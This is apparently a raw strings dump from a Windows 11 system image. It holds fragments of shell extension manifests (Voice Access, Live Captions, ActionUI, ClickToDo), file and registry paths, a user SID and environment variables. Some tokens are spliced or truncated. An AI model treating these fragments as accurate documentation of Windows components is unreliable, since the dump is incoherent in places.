com.microsoft.windows.extensionpackage VoiceAccessPluginAlias Public Extension Metadata PackageAliases PackageAlias #text VoiceAccessPluginAlias ExtensionAndName\5d^com.microsoft.windows.extensionpackage Name\com.microsoft.windows.extensionpackage\19 com.microsoft.windows.extensions.voiceaccessplugin VoiceAccessPlugin VoiceAccessPlugin Classes ,AIX.VAPluginExtension #text VoiceAccessPlugin.VAPluginExtensionImpl DimeDialogUI ExtensionAndName\5e^com.microsoft.windows.extensions.voiceaccessplugin Name\com.microsoft.windows.extensions.voiceaccessplugin\1a com.microsoft.windows.extensions.xaml.accountdialog AccountDialog Microsoft Windows Extensions Microsoft Windows Extensions ExtensionAndName\64^com.microsoft.windows.extensions.xaml.livecaptions Name\com.microsoft.windows.extensions.xaml.livecaptions\20 com.microsoft.windows.telemetryid public Default TelemetryID #text 03E865F41E900000 IsInboxPackage #text Default ExtensionAndName\65^com.microsoft.windows.telemetryid Name\com.microsoft.windows.telemetryid\21 com.microsoft.windows.extensionpackage Public Extension Package InputApp ExtensionAndName\66^com.microsoft.windows.extensionpackage Name\com.microsoft.windows.extensionpackage\22 com.microsoft.windows.input.app Public Input Experience InputApp #text true Name\TrustedLaunch\d Package\28\d PackageAndName\28^TrustedLaunch\d RegistryWriteVirtualization #text disabled Name\RegistryWriteVirtualization\e Package\29\e PackageAndName\29^RegistryWriteVirtualization\e FileSystemWriteVirtualization #text disabled Name\FileSystemWriteVirtualization\f Package\29\f PackageAndName\29^FileSystemWriteVirtualization\f TrustedLaunch #text true Name\TrustedLaunch\10 Package\29\10 PackageAndName\29^TrustedLaunch\10 Classes &VoiceAccessControl #text VoiceAccess.VoiceAccessControl $MetadataProviders Provider #text VoiceAccess.XamlMetaDataProvider *ResourceDictionaries &ResourceDictionary #text VoiceAccess.VoiceAccessResources ExtensionAndName\5f^com.microsoft.windows.extensions.xaml.voiceaccessplugin Name\com.microsoft.windows.extensions.xaml.voiceaccessplugin\1b com.microsoft.windows.telemetryid public Default TelemetryID #text 03E865F41E900000 IsInboxPackage #text ExtensionAndName\60^com.microsoft.windows.telemetryid Name\com.microsoft.windows.telemetryid\1c com.microsoft.windows.extensionpackage Public Extension Package Public ExtensionAndName\61^com.microsoft.windows.extensionpackage Name\com.microsoft.windows.extensionpackage\1d com.microsoft.windows.extensionpackage LiveCaptionsAlias Extension Metadata PackageAliases PackageAlias #text LiveCaptionsAlias ExtensionAndName\62^com.microsoft.windows.extensionpackage Name\com.microsoft.windows.extensionpackage\1e com.microsoft.windows.extension.livecaptions LiveCaptions LiveCaptions Classes TWindowsUdk.UI.Shell.LiveCaptionsExtension #text LiveCaptionsDesktop.LiveCaptionsProvider ExtensionAndName\63^com.microsoft.windows.extension.livecaptions Name\com.microsoft.windows.extension.livecaptions\1f com.microsoft.windows.extensions.xaml.livecaptions LiveCaptions Microsoft Windows Extensions Classes (LiveCaptionsControl #text DesktopSticLiveCaptionskerEditor.LiveCaptionsControl $MetadataProviders Provider #text LiveCaptions.XamlMetaDataProvider *ResourceDictionaries &ResourceDictionary #text LiveCaptions.LiveCaptionsResources ExtensionAndName\69^com.microsoft.windows.extensions.xaml.textinput Name\com.microsoft.windows.extensions.xaml.textinput\25 com.microsoft.windows.telemetryid public Default TelemetryID #text 03E865F401230000 IsInboxPackage #text ExtensionAndName\6a^com.microsoft.windows.telemetryid Name\com.microsoft.windows.telemetryid\26 com.microsoft.windows.extensionpackage Public Extension Package ExtensionAndName\6b^com.microsoft.windows.extensionpackage Name\com.microsoft.windows.extensionpackage\27 com.microsoft.windows.extensionpackage AccountDialog Extension Metadata PackageAliases PackageAlias #text AccountDialogAlias ExtensionAndName\6c^com.microsoft.windows.extensionpackage Name\com.microsoft.windows.extensionpackage\28 com.microsoft.windows.extensions.xaml.desktopstickereditor DesktopStickerEditor Microsoft Windows Extensions Classes DimeControl #text AccountDialog.DimeControl PayNowControl #text AccountDialog.PayNowControl $MetadataProviders Provider #text AccountDialog.AccountDialog_XamlTypeInfo.XamlMetaDataProvider .ShellContentProperties UseWinUI3 #text true .TargetWASDKPackageName #text Microsoft.WindowsAppRuntime.CBS.1.6_8wekyb3d8bbwe ExtensionAndName\6d^com.microsoft.windows.extensions.xaml.accountdialog Name\com.microsoft.windows.extensions.xaml.accountdialog\29 com.microsoft.windows.extension.shellhost.component Microsoft Windows Extensions .SupportsProtocolLaunch #text false 6UXFrameComponentDefinition $ExtensionCategory #text com.microsoft.windows.extensions.xaml.accountdialog ExtensionId #text AccountDialog ControlName #text DimeControl *InvocationProperties $WindowingBehavior #text DebugWindow ExtensionAndName\6e^com.microsoft.windows.extension.shellhost.component Name\com.microsoft.windows.extension.shellhost.component\2a com.microsoft.windows.extension.shellhost.component PayNowDialogUI Microsoft Windows Extensions .SupportsProtocolLaunch #text false 6UXFrameComponentDefinition $ExtensionCategory #text com.microsoft.windows.extensions.xaml.accountdialog ExtensionId #text AccountDialog ControlName #text PayNowControl *InvocationProperties $WindowingBehavior #text DebugWindow ExtensionAndName\6f^com.microsoft.windows.extension.shellhost.component Name\com.microsoft.windows.extension.shellhost.component\2b com.microsoft.windows.services.accounts Public AccountsService Classes vWindowsUdk.Services.Accounts.AccountSubscriptionsExtension #text AccountsService.AccountsServiceProvider ExtensionAndName\70^com.microsoft.windows.services.accounts Name\com.microsoft.windows.services.accounts\2c com.microsoft.windows.app.accounts Public AccountsService ExtensionAndName\71^com.microsoft.windows.app.accounts Name\com.microsoft.windows.app.accounts\2d com.microsoft.windows.extensionpackage ActionUI Extension Metadata PackageAliases PackageAlias #text ActionUIAlias ExtensionAndName\7d^com.microsoft.windows.extensionpackage Name\com.microsoft.windows.extensionpackage\2e com.microsoft.windows.extensions.actionui ActionUIDevKit Microsoft Windows Extensions Classes ActionMenu #text ActionUI.ActionMenu 0ActionMenuConfiguration #text ActionUI.ActionMenuConfiguration ActionResponse #text ActionUI.ActionResponse ExtensionAndName\7e^com.microsoft.windows.extensions.actionui Name\com.microsoft.windows.extensions.actionui\2f com.microsoft.windows.extensions.xaml.actionui ActionUI Microsoft Windows Extensions Classes 4ActionResponseHostControl #text ActionUI.ActionResponseHostControl 6ActionSelectionHostControl #text ActionUI.ActionSelectionHostControl $MetadataProviders Provider #text ActionUI.ActionUI_XamlTypeInfo.XamlMetaDataProvider *ResourceDictionaries &ResourceDictionary #text ActionUI.StyleResources #text ActionUI.ActionSelectionStyleResources .ShellContentProperties UseWinUI3 #text true .TargetWASDKPackageName #text Microsoft.WindowsAppRuntime.CBS.1.6_8wekyb3d8bbwe ExtensionAndName\7f^com.microsoft.windows.extensions.xaml.actionui Name\com.microsoft.windows.extensions.xaml.actionui\30 com.microsoft.windows.extension.shellhost.component ActionResponse ApSrv.exe localSystem WMI Performance Adapter rResources esources \Device\HarddiskVolume3\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\CrossDeviceResume.exeMicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewyCrossDeviceResumeApp appidapi.dll cmdext.dll WIN://SYSAPPID Microsoft.Todos_8wekyb3d8bbwe mtxoci.dll WIN://SYSAPPID Microsoft.WindowsStore_8wekyb3d8bbwe S-1-5-20 \Device\HarddiskVolume3\Windows\System32\wbem\WmiPrvSE.exe Microsoft sihost \Registry\user\S-1-5-21-3914889805-4071901059-918772286-1001\Software\ChangeTracker \Registry\user\S-1-5-21-3914889805-4071901059-918772286-1001\Software\ChangeTracker \Device\HarddiskVolume3\Windows\System32\UpdateReboot.dll \Registry\user\S-1-5-21-3914889805-4071901059-918772286-1001\Control Panel\Colors "Windows.UI.ControlCenter.en-US.pri dc300d9f9d} Microsoft.YourPhone_0.25062.84.0_x64__8wekyb3d8bbwe \Registry\user\S-1-5-21-3914889805-4071901059-918772286-1001\Control Panel\Colors \Registry\user\S-1-5-21-3914889805-4071901059-918772286-1001\Control Panel\Colors \Registry\user\S-1-5-21-3914889805-4071901059-918772286-1001\Software\ChangeTracker S-1-15-2-283421221-3183566570-1718213290-751554359-3541592344-2312209569-3374928651 \Windows\System32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache \Device\HarddiskVolume3\Windows\System32\Windows.UI.Xaml.InkControls.dll ISTRY\MACHINE\SYSTEM\Control Microsoft-Windows-AppReadiness%4Operational.evtx207372 \REGISTRY\MACHINE\SOFTWA3Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy0E} \Device\HarddiskVolume3\Windows\System32\en-US\FirewallControlPanel.dll.mui 5Windows.Networking.Sockets.PushEnabledApplication.dll \REGISTRY\USER\S-1-5-21-3914889805-4071901059-918772286-1001 Microsoft.VCLibs.140.00_14.0.33519.0_x64__8wekyb3d8bbwe \Device\HarddiskVolume3\Windows\System32\Windows.UI.Xaml.Resources.21h1.dll \Program Files\WindowsApps\Microsoft.WindowsTerminal_1.18.10301.0_x64__8wekyb3d8bbwe ScreenOnPowerStudyTraceSession-2026-02-24-09-06-02.etl Microsoft.YourPhone_0.25062.84.0_x64__8wekyb3d8bbwe \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\UUS\State\_active.uusver \Device\HarddiskVolume3\Windows\System32\AggregatorHost.exe \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\glib-2.0-0.dll "C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe" /c \Device\HarddiskVolume3\Program Files\VMware\VMware Tools\gthread-2.0-0.dll \Device\HarddiskVolume3\Windows\System32\CredProvDataModel.dll Microsoft-Windows-WMI-Activity%4Operational.evtx \Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\IEE24} \Device\HarddiskVolume3\Windows\System32\Windows.StateRepositoryCore.dll \Device\HarddiskVolume3\Windows\SysWOW64\bcryptprimitives.dll ISTRY\MACHINE\SYSTEM\Control Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy26 \Device\HarddiskVolume3\Windows\System32\aepic.dll \Users\job\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy9 \Device\HarddiskVolume3\Windows\System32\setupapi.dll \Device\HarddiskVolume3\Windows\System32\bcryptprimitives.dll \Device\HarddiskVolume3\Windows\System32\DesktopShellExt.dll \Users\job\AppData\Local\Packages\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\AC \Device\HarddiskVolume3\Windows\System32\AppResolver.dll \Device\HarddiskVolume3\Windows\System32\KerbClientShared.dll \Device\HarddiskVolume3\Windows\System32\mdmregistration.dll \Device\HarddiskVolume3\Windows\System32\ControlCenter.dll \Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCookies \Device\HarddiskVolume3\Windows\SysWOW64\windows.storage.dll \Device\HarddiskVolume3\Windows\System32\winlogon.exe \Users\job\AppData\Local\Packages\Microsoft.XboxIdentityProvider_8wekyb3d8bbwe\AC Microsoft.UI.Xaml.CBS_9.2504.3002.0_x64__8wekyb3d8bbwe Microsoft-Windows-CloudStore%4Initialization.evtx \Device\HarddiskVolume3\Windows\SysWOW64\mdmregistration.dll \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\UUS\State\_active.uusver \Users\job\AppData\Local\Packages\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy \Program Files\WindowsApps\Microsoft.VCLibs.140.00_14.0.33519.0_x64__8wekyb3d8bbwe \REGISTRY\MACHINE\SOFTWA Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy Microsoft Windows Extensions 6UXFrameComponentDefinition $ExtensionCategory #text com.microsoft.windows.extensions.xaml.actionui ExtensionId #text ActionUI ControlName #text ActionResponseHostControl *InvocationProperties $WindowingBehavior #text Overlapped ,PreventTaskbarPinning #text true CustomAppId #text Windows.ActionResponse 6TaskbarIconPackageResource #text ActionUI\Assets\ActionResponse.ico ExtensionAndName\80^com.microsoft.windows.extension.shellhost.component Name\com.microsoft.windows.extension.shellhost.component\31 com.microsoft.windows.extension.shellhost.component ActionSelection Microsoft Windows Extensions 6UXFrameComponentDefinition $ExtensionCategory #text com.microsoft.windows.extensions.xaml.actionui ExtensionId #text ActionUI ControlName #text ActionSelectionHostControl *InvocationProperties $WindowingBehavior #text Popup Personality #text AnchoredPopup AnchorPointType #text TopLeft .VerticalSizingStrategy #text FitToContentStatic 2HorizontalSizingStrategy #text FitToContentStatic Prelaunch #text true ExtensionAndName\81^com.microsoft.windows.extension.shellhost.component Name\com.microsoft.windows.extension.shellhost.component\32 com.microsoft.windows.extensionpackage ActionUI.Common Extension Metadata PackageAliases PackageAlias #text ActionUICommonAlias ExtensionAndName\82^com.microsoft.windows.extensionpackage Name\com.microsoft.windows.extensionpackage\33 com.microsoft.windows.extensions.xaml.actionui.common ActionUI.Common Microsoft Windows Extensions Classes ErrorControl #text ActionUI.Common.ErrorControl ProgressControl #text ActionUI.Common.ProgressControl FeedbackControl #text ActionUI.Common.FeedbackControl $MetadataProviders Provider #text ActionUI.Common.ActionUI_Common_XamlTypeInfo.XamlMetaDataProvider *ResourceDictionaries &ResourceDictionary #text ActionUI.Common.CommonStyleResources .ShellContentProperties UseWinUI3 #text true .TargetWASDKPackageName #text Microsoft.WindowsAppRuntime.CBS.1.6_8wekyb3d8bbwe ExtensionAndName\83^com.microsoft.windows.extensions.xaml.actionui.common Name\com.microsoft.windows.extensions.xaml.actionui.common\34 com.microsoft.windows.extensionpackage CrossDeviceResume Extension Metadata PackageAliases PackageAlias #text CrossDeviceResumeAlias ExtensionAndName\84^com.microsoft.windows.extensionpackage Name\com.microsoft.windows.extensionpackage\35 com.microsoft.windows.extension.crossdeviceresume CrossDeviceResume Microsoft Windows Extensions ExtensionAndName\85^com.microsoft.windows.extension.crossdeviceresume Name\com.microsoft.windows.extension.crossdeviceresume\36 com.microsoft.windows.extension.shelluihost CrossDeviceResumeHost Public CrossDeviceResumeHost LaunchPolicy #text LogonPolicy #text (LaunchTimeoutPolicy #text $VelocityFeatureId #text 56517033 MdmPolicyArea #text Connectivity MdmPolicyName #text DisableCrossDeviceResume 2MdmPolicyEnabledBehavior #text .DisableOnSKUCategories #text ExtensionAndName\86^com.microsoft.windows.extension.shelluihost Name\com.microsoft.windows.extension.shelluihost\37 com.microsoft.windows.extensionpackage DesktopSpotlightAlias Extension Metadata PackageAliases PackageAlias #text DesktopSpotlightAlias ExtensionAndName\87^com.microsoft.windows.extensionpackage Name\com.microsoft.windows.extensionpackage\38 com.microsoft.windows.app.desktopspotlight Public DesktopSpotlight com.microsoft.windows.extensions.xaml.windowspersonacard WindowsPersonaCard ExtensionAndName\88^com.microsoft.windows.app.desktopspotlight Name\com.microsoft.windows.app.desktopspotlight\39 com.microsoft.windows.extension.desktopspotlight Public DesktopSpotlight Classes ~WindowsUdk.UI.Shell.DesktopSpotlight.DesktopSpotlightExtension #text DesktopSpotlight.DesktopSpotlightProvider ExtensionAndName\89^com.microsoft.windows.extension.desktopspotlight Name\com.microsoft.windows.extension.desktopspotlight\3a com.microsoft.windows.extensions.xaml.desktopspotlight DesktopSpotlight Microsoft Windows Extensions Classes 6DesktopSpotlightFlyoutHost #text DesktopSpotlight.DesktopSpotlightFlyoutHost .DesktopSpotlightFlyout #text DesktopSpotlight.DesktopSpotlightFlyout BDesktopSpotlightFlyoutFullScreen #text DesktopSpotlight.DesktopSpotlightFlyoutFullScreen WindowsMigrationTestingControl #text WindowsMigration.WindowsMigrationTestingControl $MetadataProviders Provider #text WindowsMigration.XamlMetaDataProvider *ResourceDictionaries &ResourceDictionary #text WindowsMigration.WindowsMigrationResources ExtensionAndName\106^com.microsoft.windows.extensions.xaml.windowsmigration Name\com.microsoft.windows.extensions.xaml.windowsmigration\83 com.microsoft.windows.extension.migrationorchestrator WindowsMigration Public Microsoft Windows Extensions Classes WindowsUdk.System.UserProfile.UserStateMigrationOrchestratorExtension #text WindowsMigration.MigrationOrchestrator ExtensionAndName\107^com.microsoft.windows.extension.migrationorchestrator Name\com.microsoft.windows.extension.migrationorchestrator\84 com.microsoft.windows.extensionpackage WindowsPeopleExperience Extension Metadata PackageAliases PackageAlias #text WindowsPeopleExperienceAlias ExtensionAndName\108^com.microsoft.windows.extensionpackage Name\com.microsoft.windows.extensionpackage\85 com.microsoft.windows.app.windowspeopleexperience WindowsPeopleExperience Microsoft Windows Extensions Classes hWindowsUdk.System.People.PeopleIconManagerExtension #text WindowsPeopleExperience.PeopleIconManager ExtensionAndName\109^com.microsoft.windows.app.windowspeopleexperience Name\com.microsoft.windows.app.windowspeopleexperience\86 com.microsoft.windows.extensions.xaml.windowspeopleexperience WindowsPeopleExperience Microsoft Windows Extensions ExtensionAndName\10a^com.microsoft.windows.extensions.xaml.windowspeopleexperience Name\com.microsoft.windows.extensions.xaml.windowspeopleexperience\87 Classes >WindowsPeopleExperienceControl #text WindowsPeopleExperience.WindowsPeopleExperienceControl hWindowsUdk.System.People.PeopleIconManagerExtension #text WindowsPeopleExperience.PeopleIconManager $MetadataProviders Provider #text WindowsPeopleExperience.XamlMetaDataProvider *ResourceDictionaries &ResourceDictionary #text WindowsPeopleExperience.WindowsPeopleExperienceResources com.microsoft.windows.extensionpackage Extension Metadata PackageAliases PackageAlias #text wswAlias ExtensionAndName\10b^com.microsoft.windows.extensionpackage Name\com.microsoft.windows.extensionpackage\88 com.microsoft.windows.telemetryid public Default TelemetryID #text 03E865F41E900000 IsInboxPackage #text ExtensionAndName\10f^com.microsoft.windows.telemetryid Name\com.microsoft.windows.telemetryid\89 com.microsoft.windows.extensionpackage Public Extension Package AIContext ExtensionAndName\110^com.microsoft.windows.extensionpackage Name\com.microsoft.windows.extensionpackage\8a com.microsoft.windows.extensionpackage Public Extension Metadata ExtensionAndName\111^com.microsoft.windows.extensionpackage Name\com.microsoft.windows.extensionpackage\8b com.microsoft.windows.extensionpackage Public Extension Package ExtensionAndName\165^com.microsoft.windows.extensions.xaml Name\com.microsoft.windows.extensions.xaml\d4 com.microsoft.windows.extensions.xaml.fileexplorerextensions FileExplorerExtensions com.microsoft.windows.extensionpackage Extension Metadata FileExplorerExtensionsAlias Extension Metadata PackageAliases PackageAlias #text FileExplorerExtensionsAlias ExtensionAndName\164^com.microsoft.windows.extensionpackage Name\com.microsoft.windows.extensionpackage\d3 com.microsoft.windows.extensions.xaml FileExplorerExtensions Microsoft Windows Extensions ExtensionAndName\115^com.microsoft.windows.extensions.xaml.aix Name\com.microsoft.windows.extensions.xaml.aix\8d com.microsoft.windows.extension.shelluihost ClickToDo Public ClickToDo LaunchPolicy #text LogonPolicy #text (LaunchTimeoutPolicy #text RelaunchPolicy #text 4FailedRelaunchAttemptsCap #text DFailedRelaunchAttemptsCapCooldown #text 300000 $VelocityFeatureId #text 56085006 (EnterpriseFeatureId #text 56114500 MdmPolicyArea #text WindowsAI MdmPolicyName #text DisableClickToDo 2MdmPolicyEnabledBehavior #text &RegionalPolicyGUID #text d8aece8b-21e4-43ed-96ef-fba681cbb5c8 DRegionalPolicyGuidEnabledBehavior #text "UserPolicyRegKey #text Software\Microsoft\Windows\Shell\ClickToDo &UserPolicyRegValue #text DisableClickToDo 4UserPolicyEnabledBehavior #text (HardwareRequirement #text ExtensionAndName\116^com.microsoft.windows.extension.shelluihost Name\com.microsoft.windows.extension.shelluihost\8e com.microsoft.windows.extensions.aix.existencecheck ExistenceCheck Public ExistenceCheck ExtensionAndName\117^com.microsoft.windows.extensions.aix.existencecheck Name\com.microsoft.windows.extensions.aix.existencecheck\8f com.microsoft.windows.extensionpackage ModelManagementUX Extension Metadata PackageAliases PackageAlias #text ModelManagementUXAlias ExtensionAndName\118^com.microsoft.windows.extensionpackage Name\com.microsoft.windows.extensionpackage\90 com.microsoft.windows.extensions.xaml.aix ModelManagementUX Microsoft Windows Extensions Classes LAIX.ModelManagementUXManagerExtension #text ModelManagementUX.ModelManagementUXManager ExtensionAndName\119^com.microsoft.windows.extensions.xaml.aix Name\com.microsoft.windows.extensions.xaml.aix\91 com.microsoft.windows.extensionpackage DiscoveryOverlay Extension Metadata PackageAliases PackageAlias #text DiscoveryOverlayAlias ExtensionAndName\11a^com.microsoft.windows.extensionpackage Name\com.microsoft.windows.extensionpackage\92 com.microsoft.windows.extensions.xaml.aix DiscoveryOverlay Microsoft Windows Extensions Classes PAIX.DiscoveryOverlayControllerExtension #text DiscoveryOverlay.DiscoveryOverlayController RAIX.DiscoveryOverlayViewManagerExtension #text DiscoveryOverlay.DiscoveryOverlayViewManager $MetadataProviders Provider #text DiscoveryOverlay.XamlMetaDataProvider *ResourceDictionaries &ResourceDictionary #text DiscoveryOverlay.DiscoveryOverlayResources ExtensionAndName\11b^com.microsoft.windows.extensions.xaml.aix Name\com.microsoft.windows.extensions.xaml.aix\93 com.microsoft.windows.assetreference DiscoveryOverlay DiscoveryOverlay AssetPath #text DiscoveryOverlay ExtensionAndName\11c^com.microsoft.windows.assetreference Name\com.microsoft.windows.assetreference\94 com.microsoft.windows.extensions.discoveryoverlay.existencecheck ExistenceCheck Public ExistenceCheck ExtensionAndName\11d^com.microsoft.windows.extensions.discoveryoverlay.existencecheck Name\com.microsoft.windows.extensions.discoveryoverlay.existencecheck\95 com.microsoft.windows.extensionpackage Feedback Extension Metadata Feedback PackageAliases PackageAlias #text FeedbackAlias ExtensionAndName\11e^com.microsoft.windows.extensionpackage Name\com.microsoft.windows.extensionpackage\96 com.microsoft.windows.extensions.xaml.aix Microsoft Windows Extensions Classes @AIX.FeedbackControllerExtension #text Feedback.FeedbackController $MetadataProviders Provider #text Feedback.XamlMetaDataProvider *ResourceDictionaries &ResourceDictionary #text Feedback.FeedbackResources ExtensionAndName\11f^com.microsoft.windows.extensions.xaml.aix Name\com.microsoft.windows.extensions.xaml.aix\97 com.microsoft.windows.telemetryid public TelemetryID #text 03E865F400520000 IsInboxPackage #text ExtensionAndName\120^com.microsoft.windows.telemetryid Name\com.microsoft.windows.telemetryid\98 com.microsoft.windows.extensionpackage Public Extension Package ExtensionAndName\121^com.microsoft.windows.extensionpackage Name\com.microsoft.windows.extensionpackage\99 com.microsoft.windows.extensionpackage AppListBackup Extension Metadata PackageAliases PackageAlias #text AppListBackupAlias ExtensionAndName\122^com.microsoft.windows.extensionpackage Name\com.microsoft.windows.extensionpackage\9a com.microsoft.windows.extension.applistbackup AppListBackup Public AppListBackup Classes jWindowsUdk.System.UserProfile.AppListBackupExtension #text AppListBackup.AppListBackupImpl ExtensionAndName\123^com.microsoft.windows.extension.applistbackup Name\com.microsoft.windows.extension.applistbackup\9b com.microsoft.windows.extensions.xaml.applistbackup AppListBackup Microsoft Windows Extensions Classes *AppListBackupControl #text AppListBackup.AppListBackupControl $MetadataProviders Provider #text AppListBackup.XamlMetaDataProvider *ResourceDictionaries &ResourceDictionary #text AppListBackup.AppListBackupResources ExtensionAndName\124^com.microsoft.windows.extensions.xaml.applistbackup Name\com.microsoft.windows.extensions.xaml.applistbackup\9c com.microsoft.windows.extensionpackage BackupBanner Extension Metadata PackageAliases PackageAlias #text BackupBannerAlias ExtensionAndName\125^com.microsoft.windows.extensionpackage Name\com.microsoft.windows.extensionpackage\9d com.microsoft.windows.extensions.xaml BackupBanner Microsoft Windows Extensions Public Classes (BackupBannerControl #text BackupBanner.BackupBannerControl C:\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe /ua /installsource scheduler Packages Packages \Device\HarddiskVolume3\ProgramData\Microsoft\Windows\AppRepository\Packages\MicrosoftWindows.Client.CBS_1000.26100.291.0_x64__cw5n1h2txyewy\machine.pckgdep Preview \Device\HarddiskVolume3\ProgramData\Microsoft\Windows Defender\Platform\4.18.26010.5-0\Microsoft-Antimalware-Protection.man:WofCompressedData NisSrv \Device\HarddiskVolume3\ProgramData\Packages\Microsoft.WidgetsPlatformRuntime_8wekyb3d8bbwe\S-1-5-21-3914889805-4071901059-918772286-1001 CrossDeviceResu WIN://SYSAPPID Microsoft.WindowsTerminal_8wekyb3d8bbwe \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\EdgeJourneys\EdgeJourneys.db-wal 84.pma WebCacheV01.dat \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Extension State\CURRENT~RFdc65.TMP 00023 0c97b.tmp WIN://ISMULTISESSIONSKU WIN://ISMULTISESSIONSKU WIN://ISMULTISESSIONSKU \Device\HarddiskVolume3\Users\job\AppData\Local\Packages\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\LocalState\EBWebView\Default\Network\Reporting and NEL-journal 71-653b1d021d34.tmp WebCache SystemAppData slui.exe.mui \Device\HarddiskVolume3\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.7840.cat::$ATTRIBUTE_LIST neDriv Cascadia Mono Cascadia Mono Bold Cascadia Mono Bold Bold Cascadia Code Cascadia Code Bold Cascadia Code Bold Bold SystemRoot=C:\WINDOWS TEMP=C:\Users\job\AppData\Local\Temp TMP=C:\Users\job\AppData\Local\Temp USERDOMAIN=Windows11 USERDOMAIN_ROAMINGPROFILE=Windows11 USERNAME=job USERPROFILE=C:\Users\job windir=C:\WINDOWS 03222332223322222222332223322233 SM0:5048:120:WilError_03_p0 \CMApi :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData OLEE4B73CF3BAFF60939E3A76C22814 :WofCompressedData :WofCompressedData :WofCompressedData SM0:5048:120:WilError_03_p0h :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData SM0:4632:304:WilStaging_02 :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData \Windows\System32\ OLE72F00F18342F6D71409E22F7B0BE :WofCompressedData SM0:4632:304:WilStaging_02_p0 :WofCompressedData :WofCompressedData \Users\job\AppData\Local\Comms SM0:4632:304:WilStaging_02_p0h :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData pAccess :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData SM0:4524:304:WilStaging_02_p0 SM0:4524:304:WilStaging_02_p0h \Dev\Query :WofCompressedData :WofCompressedData \Windows\System32\spool\prtprocs :WofCompressedData :WofCompressedData :WofCompressedData \Windows\System32\ :WofCompressedData :WofCompressedData :WofCompressedData \Dev\Query SM0:4524:304:WilStaging_02 \Windows\Fonts\segmdl2.ttf :WofCompressedData :WofCompressedData :WofCompressedData explorer.exe 10.0.26100.7840 :WofCompressedData \Windows\System32\wosc.dll :WofCompressedData :WofCompressedData \Windows\SoftwareDistribution :WofCompressedData \Windows\System32\ :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData SM0:5012:304:WilStaging_02 SM0:5012:304:WilStaging_02_p0h :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData SM0:3152:120:WilError_03_p0h :WofCompressedData SM0:3152:120:WilError_03_p0 SM0:5012:304:WilStaging_02_p0 :WofCompressedData :WofCompressedData :WofCompressedData SM0:3832:120:WilError_03_p0 InboxApps-Install-Prepackaged \ProgramData\Microsoft\Network \CMApi :WofCompressedData \CMNotify SM0:3832:120:WilError_03_p0h C:\WINDOWS\Explorer.EXE \Dev\Query :WofCompressedData :WofCompressedData SM0:5012:120:WilError_03_p0 eritance SM0:5012:120:WilError_03_p0h :WofCompressedData OLE116323DDF15612F1BCCE9FDAB896 \CMNotify SM0:3488:304:WilStaging_02 SM0:4632:120:WilError_03_p0 SM0:4632:120:WilError_03_p0h :WofCompressedData SM0:3488:304:WilStaging_02_p0 :WofCompressedData :WofCompressedData \CMApi :WofCompressedData \CMApi :WofCompressedData AmiUtcThrottlingSemaphore :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData SM0:3488:304:WilStaging_02_p0h :WofCompressedData \CMNotify \CMNotify \ProgramData\Microsoft\Search :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData \CMNotify \CMApi :WofCompressedData Shell-Windowing-ShowMaximized \Endpoint :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData \Endpoint :WofCompressedData :WofCompressedData RootVisualReset.4632.4860 :WofCompressedData :WofCompressedData Shell-VirtualDesktop-Enabled OLEF9B84B8B17119052FD7B4F427E62 \CMNotify \CMNotify AnimationsComplete.4632.4860 \CMNotify :WofCompressedData PointerInputReceived.4632.4860 explorer.exe 10.0.26100.7840 :WofCompressedData SM0:4216:120:WilError_03_p0 :WofCompressedData \Windows\System32\spool\PRINTERS \CMApi :WofCompressedData FontDownloadsIdle.4632.4860 HasBrushTransitions.4632.4860 :WofCompressedData WindowsInkWorkspace-Enabled HasFacadeAnimations.4632.4860 KeyboardInputReceived.4632.4860 ImageDecodingIdle.4632.4860 :WofCompressedData HasBuildTreeWorks.4632.4860 \CMNotify :WofCompressedData PageNavigationComplete.4632.4860 :WofCompressedData :WofCompressedData \Program Files \Windows\System32\ \Windows\Fonts\segoeui.ttf :WofCompressedData SM0:4216:120:WilError_03_p0h :WofCompressedData \Windows\System32\ :WofCompressedData SM0:5048:304:WilStaging_02_p0 \CMNotify SM0:5048:304:WilStaging_02_p0h :WofCompressedData \CMNotify \CMNotify :WofCompressedData SM0:3832:304:WilStaging_02_p0 \Windows\System32\ :WofCompressedData :WofCompressedData SM0:5048:304:WilStaging_02 :WofCompressedData SM0:3832:304:WilStaging_02_p0h :WofCompressedData SM0:3832:304:WilStaging_02 :WofCompressedData \CMNotify :WofCompressedData :WofCompressedData :WofCompressedData :WofCompressedData 